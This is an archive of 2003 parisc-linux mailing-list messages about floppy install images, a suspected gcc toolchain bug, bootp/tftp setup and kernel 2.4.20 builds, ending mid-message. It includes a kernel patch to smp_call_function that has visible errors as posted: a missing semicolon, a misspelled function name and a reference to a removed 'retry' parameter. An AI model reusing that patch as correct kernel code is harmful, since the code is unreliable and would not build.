On Tue, Jan 21, 2003 at 08:35:05AM -0800, Randolph Chung wrote:
> > why are floppy images not supported like for i386?
> 
> I guess mostly because no one has asked for them, or been motivated
> enough to create them. Unlike i386, diskless installs for hppa work 
> very well....

and palo (boot loader) doesn't grok compressed vmlinuz images.
Patches are welcome...

> also, i think floppy drivers are not yet supported for many of the 
> parisc floppy controllers.

and HP couldn't published anything for floppy controller because of 
litigation at the time the parisc-linux work was being funded. :^(

FWIW, floppy controller support has been on the TODO list since day one.

grant


From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floppy images
Date: Tue, 21 Jan 2003 18:46:06 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <3E2D67CB00000063@ocpmta4.freegates.net>
References: <20030121172820.GB26882@dsl2.external.hp.com>
Reply-To: "Joel Soete" <joel.soete@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622134 20426 80.91.229.3 (22 Nov 2014 02:08:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:54 +0000 (UTC)
To: grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 21 10:46:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C97A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Jan 2003 10:46:15 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18b2TV-0002Wl-00; Tue, 21 Jan 2003 18:46:13 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 21 Jan 2003 18:46:06 +0100
In-Reply-To: <20030121172820.GB26882@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17457

>On Tue, Jan 21, 2003 at 08:35:05AM -0800, Randolph Chung wrote:
>> > why are floppy images not supported like for i386?
>> 
>> I guess mostly because no one has asked for them, or been motivated
>> enough to create them. Unlike i386, diskless installs for hppa work 
>> very well....
>
>and palo (boot loader) doesn't grok compressed vmlinuz images.
>Patches are welcome...

hmm, isn't there a problem with the actual size of palo (< ??) (I could also
badly understand)


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Tue, 21 Jan 2003 16:57:16 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20030121235716.GA2193__10535.0353326232$1416622134$gmane$org@dsl2.external.hp.com>
References: <3DED9A6600005A12@ocpmta3.freegates.net> <3E1AA52C0000167E@ocpmta1.freegates.net> <20030116014145.GC8543@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622134 20428 80.91.229.3 (22 Nov 2014 02:08:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:54 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 21 16:57:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0D0D1482A; Tue, 21 Jan 2003 16:57:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030116014145.GC8543@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17458

On Wed, Jan 15, 2003 at 06:41:45PM -0700, Grant Grundler wrote:
> In any case, doesn't look like a problem with tulip driver.
> I'll let someone else keep poking at this.

I retried this again last night on the c3k.
But this time I used an eepro100 driver and cross-over cable.
Several interesting differences:
o HPMCs instead of panic
o attempting to ssh to the c3k as "root" results in "permission denied"
  and no HPMC or panic
o GR02/IOAQ points at pty data struct not getting setup correctly.
  (I've got some of the data written down at home, just not here)
o iptables based firewall running on tulip NIC was showing packets
  getting LOGd and DROPd. ie ethernet traffic was coming in on the NIC.

Given that pty code works for X11, something must not be getting
initialized correctly for tcp connections.  And since all of the
TCP code and mid-level pty mgt is arch independent, I'm starting
to believe this is a toolchain bug.

Stephan Eranian had a good idea - replace .o's in the gcc 3.2
built kernel tree with .o's built using gcc-3.0. Then maybe we
can narrow down where the issue is.

grant


From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zwane Mwaikambo <zwane@holomorphy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH][2.5][9/18] smp_call_function_on_cpu - parisc
Date: Wed, 22 Jan 2003 00:28:01 -0500 (EST)
Lines: 216
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0301220026420.29944-100000__35366.7846684859$1416622135$gmane$org@montezuma.mastecende.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622135 20432 80.91.229.3 (22 Nov 2014 02:08:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:55 +0000 (UTC)
Cc: willy@debian.org, <parisc-linux@lists.parisc-linux.org>
To: Linux Kernel <linux-kernel@vger.kernel.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 21 22:28:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from montezuma.mastecende.com (modemcable092.130-200-24.mtl.mc.videotron.ca [24.200.130.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id D50C0482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Jan 2003 22:28:00 -0700 (MST)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by montezuma.mastecende.com (8.12.5/8.12.5) with ESMTP id h0M5S1qs022187;
	Wed, 22 Jan 2003 00:28:08 -0500
X-X-Sender: zwane@montezuma.mastecende.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17459

Index: linux-2.5.59/include/asm-parisc/cacheflush.h
===================================================================
RCS file: /build/cvsroot/linux-2.5.59/include/asm-parisc/cacheflush.h,v
retrieving revision 1.1.1.1
diff -u -r1.1.1.1 cacheflush.h
--- linux-2.5.59/include/asm-parisc/cacheflush.h	17 Jan 2003 11:15:49 -0000	1.1.1.1
+++ linux-2.5.59/include/asm-parisc/cacheflush.h	22 Jan 2003 02:41:49 -0000
@@ -25,16 +25,11 @@
 
 extern void flush_cache_all_local(void);
 
-#ifdef CONFIG_SMP
 static inline void flush_cache_all(void)
 {
-	smp_call_function((void (*)(void *))flush_cache_all_local, NULL, 1, 1);
+	smp_call_function((void (*)(void *))flush_cache_all_local, NULL, 1);
 	flush_cache_all_local();
 }
-#else
-#define flush_cache_all flush_cache_all_local
-#endif
-
 
 /* The following value needs to be tuned and probably scaled with the
  * cache size.
Index: linux-2.5.59/arch/parisc/kernel/cache.c
===================================================================
RCS file: /build/cvsroot/linux-2.5.59/arch/parisc/kernel/cache.c,v
retrieving revision 1.1.1.1
diff -u -r1.1.1.1 cache.c
--- linux-2.5.59/arch/parisc/kernel/cache.c	17 Jan 2003 11:15:15 -0000	1.1.1.1
+++ linux-2.5.59/arch/parisc/kernel/cache.c	22 Jan 2003 00:48:30 -0000
@@ -39,7 +39,7 @@
 void
 flush_data_cache(void)
 {
-	smp_call_function((void (*)(void *))flush_data_cache_local, NULL, 1, 1);
+	smp_call_function((void (*)(void *))flush_data_cache_local, NULL, 1);
 	flush_data_cache_local();
 }
 #endif
Index: linux-2.5.59/arch/parisc/kernel/irq.c
===================================================================
RCS file: /build/cvsroot/linux-2.5.59/arch/parisc/kernel/irq.c,v
retrieving revision 1.1.1.1
diff -u -r1.1.1.1 irq.c
--- linux-2.5.59/arch/parisc/kernel/irq.c	17 Jan 2003 11:15:15 -0000	1.1.1.1
+++ linux-2.5.59/arch/parisc/kernel/irq.c	22 Jan 2003 00:48:49 -0000
@@ -74,7 +74,7 @@
 
 	cpu_eiem &= ~eirr_bit;
 	set_eiem(cpu_eiem);
-        smp_call_function(cpu_set_eiem, (void *) cpu_eiem, 1, 1);
+        smp_call_function(cpu_set_eiem, (void *) cpu_eiem, 1);
 }
 
 static void enable_cpu_irq(void *unused, int irq)
@@ -83,7 +83,7 @@
 
 	mtctl(eirr_bit, 23);	/* clear EIRR bit before unmasking */
 	cpu_eiem |= eirr_bit;
-        smp_call_function(cpu_set_eiem, (void *) cpu_eiem, 1, 1);
+        smp_call_function(cpu_set_eiem, (void *) cpu_eiem, 1);
 	set_eiem(cpu_eiem);
 }
 
@@ -100,7 +100,7 @@
 	** handle *any* unmasked pending interrupts.
 	** ie We don't need to check for pending interrupts here.
 	*/
-        smp_call_function(cpu_set_eiem, (void *) cpu_eiem, 1, 1);
+        smp_call_function(cpu_set_eiem, (void *) cpu_eiem, 1);
 	set_eiem(cpu_eiem);
 }
 
Index: linux-2.5.59/arch/parisc/kernel/smp.c
===================================================================
RCS file: /build/cvsroot/linux-2.5.59/arch/parisc/kernel/smp.c,v
retrieving revision 1.1.1.1
diff -u -r1.1.1.1 smp.c
--- linux-2.5.59/arch/parisc/kernel/smp.c	17 Jan 2003 11:15:15 -0000	1.1.1.1
+++ linux-2.5.59/arch/parisc/kernel/smp.c	22 Jan 2003 00:48:10 -0000
@@ -309,7 +309,6 @@
  * Run a function on all other CPUs.
  *  <func>	The function to run. This must be fast and non-blocking.
  *  <info>	An arbitrary pointer to pass to the function.
- *  <retry>	If true, keep retrying until ready.
  *  <wait>	If true, wait until function has completed on other CPUs.
  *  [RETURNS]   0 on success, else a negative status code.
  *
@@ -318,8 +317,9 @@
  */
 
 int
-smp_call_function (void (*func) (void *info), void *info, int retry, int wait)
+smp_call_function (void (*func) (void *info), void *info, int wait)
 {
+	int this_cpu;
 	struct smp_call_struct data;
 	long timeout;
 	static spinlock_t lock = SPIN_LOCK_UNLOCKED;
@@ -330,6 +330,70 @@
 	atomic_set(&data.unstarted_count, smp_num_cpus - 1);
 	atomic_set(&data.unfinished_count, smp_num_cpus - 1);
 
+	this_cpu = get_cpu();
+	spin_lock(&lock);
+	smp_call_function_data = &data;
+	
+	/*  Send a message to all other CPUs and wait for them to respond  */
+	send_IPI_allbutself(IPI_CALL_FUNC);
+
+	/*  Wait for response  */
+	timeout = jiffies + HZ;
+	while ( (atomic_read (&data.unstarted_count) > 0) &&
+		time_before (jiffies, timeout) )
+		barrier ();
+
+	/* We either got one or timed out. Release the lock */
+
+	mb();
+	smp_call_function_data = NULL;
+	spin_unlock(&lock);
+	if (atomic_read (&data.unstarted_count) > 0) {
+		printk(KERN_CRIT "SMP CALL FUNCTION TIMED OUT! (cpu=%d)\n", this_cpu);
+		put_cpu_no_reched();
+		return -ETIMEDOUT;
+	}
+
+	while (wait && atomic_read (&data.unfinished_count) > 0)
+			barrier ();
+	put_cpu_no_resched();
+	return 0;
+}
+
+/*
+ * smp_call_function_on_cpu - Runs func on all processors in the mask
+ *
+ * @func: The function to run. This must be fast and non-blocking.
+ * @info: An arbitrary pointer to pass to the function.
+ * @wait: If true, wait (atomically) until function has completed on other CPUs.
+ * @mask The bitmask of CPUs to call the function
+ * 
+ * Returns 0 on success, else a negative status code. Does not return until
+ * remote CPUs are nearly ready to execute func or have executed it.
+ *
+ */
+
+int
+smp_call_function_on_cpu (void (*func) (void *info), void *info, int wait,
+			  unsigned long mask)
+{
+	struct smp_call_struct data;
+	long timeout;
+	static spinlock_t lock = SPIN_LOCK_UNLOCKED;
+	int num_cpus = hweight64(mask), cpu, i, ret;
+	
+	cpu = get_cpu();
+	if (((1UL << cpu) & mask) || num_cpus == 0) {
+		ret = -EINVAL
+		goto out;
+	}
+
+	data.func = func;
+	data.info = info;
+	data.wait = wait;
+	atomic_set(&data.unstarted_count, num_cpus);
+	atomic_set(&data.unfinished_count, num_cpus);
+
 	if (retry) {
 		spin_lock (&lock);
 		while (smp_call_function_data != 0)
@@ -339,15 +403,19 @@
 		spin_lock (&lock);
 		if (smp_call_function_data) {
 			spin_unlock (&lock);
-			return -EBUSY;
+			ret = -EBUSY;
+			goto out;
 		}
 	}
 
 	smp_call_function_data = &data;
 	spin_unlock (&lock);
 	
-	/*  Send a message to all other CPUs and wait for them to respond  */
-	send_IPI_allbutself(IPI_CALL_FUNC);
+	/*  Send a message to the target CPUs and wait */
+	for (i = 0; i < NR_CPUS; i++) {
+		if (cpu_online(i) && (mask & (1UL << i)))
+			send_IPI_single(i, IPI_CALL_FUNC);
+	}
 
 	/*  Wait for response  */
 	timeout = jiffies + HZ;
@@ -361,17 +429,18 @@
 	smp_call_function_data = NULL;
 	if (atomic_read (&data.unstarted_count) > 0) {
 		printk(KERN_CRIT "SMP CALL FUNCTION TIMED OUT! (cpu=%d)\n",
-		      smp_processor_id());
-		return -ETIMEDOUT;
+		      cpu);
+		ret = -ETIMEDOUT;
+		goto out;
 	}
 
 	while (wait && atomic_read (&data.unfinished_count) > 0)
 			barrier ();
-
-	return 0;
+	ret = 0;
+out:
+	put_cpu_no_resched();
+	return ret;
 }
-

From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mehta, Miten" <mmehta@elgin.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bootp and tftp
Date: Wed, 22 Jan 2003 11:08:17 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <5D69EA3878E6D411B43C00508BFD7283049FB53A@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622135 20433 80.91.229.3 (22 Nov 2014 02:08:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 22 10:11:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from exchange2.elgin.cc.il.us (exchange2.elgin.edu [66.158.60.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58340482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 10:11:42 -0700 (MST)
Original-Received: by exchange2.elgin.edu with Internet Mail Service (5.5.2653.19)
	id <C2L7G122>; Wed, 22 Jan 2003 11:08:19 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17460

Hello,

bootpquery is complaining address in use for client query.  I went into sam
and had enabled both bootp and tftp.  Then added client section as:
peacock:\
	hd=/var/opt/ignite:\
	rp=/linux:\
	ht=ethernet:\
	ha=xxxxxxxxxxxx:\        --------->actual value replaced with x
	ip=xx.xx.xx.xx:\
	bf=lifimage:\
	sm=255.255.255.0:\
	gw=xx.xx.xx.1:\
	to=7200: ba

Thanks.



From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bootp and tftp
Date: Wed, 22 Jan 2003 09:17:57 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20030122171757.GC11363@tausq.org>
References: <5D69EA3878E6D411B43C00508BFD7283049FB53A@exchange2.elgin.edu>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622135 20436 80.91.229.3 (22 Nov 2014 02:08:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Mehta, Miten" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 22 10:21:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C224483B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 10:21:37 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id AB0B5CDA56; Wed, 22 Jan 2003 09:17:57 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <5D69EA3878E6D411B43C00508BFD7283049FB53A@exchange2.elgin.edu>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17461

> bootpquery is complaining address in use for client query.  I went into sam
> and had enabled both bootp and tftp.  Then added client section as:

um, is there a question in there some place? what did you try? what did
the error message say? 

this sounds like a generic bootp setup problem.... have you looked at
the parisc boot howto?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mehta, Miten" <mmehta@elgin.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] bootp and tftp
Date: Wed, 22 Jan 2003 16:53:03 -0600
Lines: 65
Approved: news@gmane.org
Message-ID: <5D69EA3878E6D411B43C00508BFD7283049FB53E@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622136 20439 80.91.229.3 (22 Nov 2014 02:08:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 22 15:56:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from exchange2.elgin.cc.il.us (exchange2.elgin.edu [66.158.60.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC7A04829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 15:56:26 -0700 (MST)
Original-Received: by exchange2.elgin.edu with Internet Mail Service (5.5.2653.19)
	id <C2L7GG1Z>; Wed, 22 Jan 2003 16:53:04 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17462

Hello,

parisc boot howto does not talk much on setting bootp up as much I
understood.  I referred hp docs too to verify bootp setup.  But it did not
work.  Here are more details.

appended to /etc/bootptab:
===========================
peacock:\
	hd=/var/opt/ignite:\
	rp=/linux:\
	ht=ethernet:\
	ha=000100010001:\           <=============changed
	ip=192.168.1.21:\           <=============changed
	bf=lifimage:\
	sm=255.255.255.0:\
	gw=192.168.1.1:\
	to=7200:                     <========== here I added ba for
bootpquery


enabled tftp and bootp in sam and seems resulted in following two lines in
/etc/inetd.conf
============================================================================
===============
tftp        dgram  udp wait   root /usr/lbin/tftpd    tftpd\
	/opt/ignite\
	/var/opt/ignite
bootps	dgram	udp	wait	root	/usr/lbin/bootpd	bootpd

There are bootps, bootpc, tftp entries in /etc/services.

ps -e | grep bootp  shall show it running and so does for rbootd.

Error I get when doing 
bootpquery 000100010001 -s myhost 
is Address in use.




-----Original Message-----
From: Randolph Chung [mailto:randolph@tausq.org]
Sent: Wednesday, January 22, 2003 11:18 AM
To: Mehta, Miten
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] bootp and tftp


> bootpquery is complaining address in use for client query.  I went into
sam
> and had enabled both bootp and tftp.  Then added client section as:

um, is there a question in there some place? what did you try? what did
the error message say? 

this sounds like a generic bootp setup problem.... have you looked at
the parisc boot howto?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.4.20 help?
Date: Wed, 22 Jan 2003 17:19:21 -0800 (PST)
Lines: 56
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301221718210.21999-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622136 20440 80.91.229.3 (22 Nov 2014 02:08:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:56 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 22 18:16:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C52C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 18:16:23 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0N1SwT27092
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 17:28:58 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0N1JLC23830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 17:19:21 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17463

I've been playing with the 2.4.20 on my box {debian 3.0 parisc}
I've found a few problems, tried a couple of fixes and got chewed out by a
kernel deveolper so I saw you mentioned on the debian site and thought I
should ask you.

What I get is this:
gcc -D__KERNEL__ -I/usr/src/linux-2.4.20/include -Wall -Wstrict-prototypes
-Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer
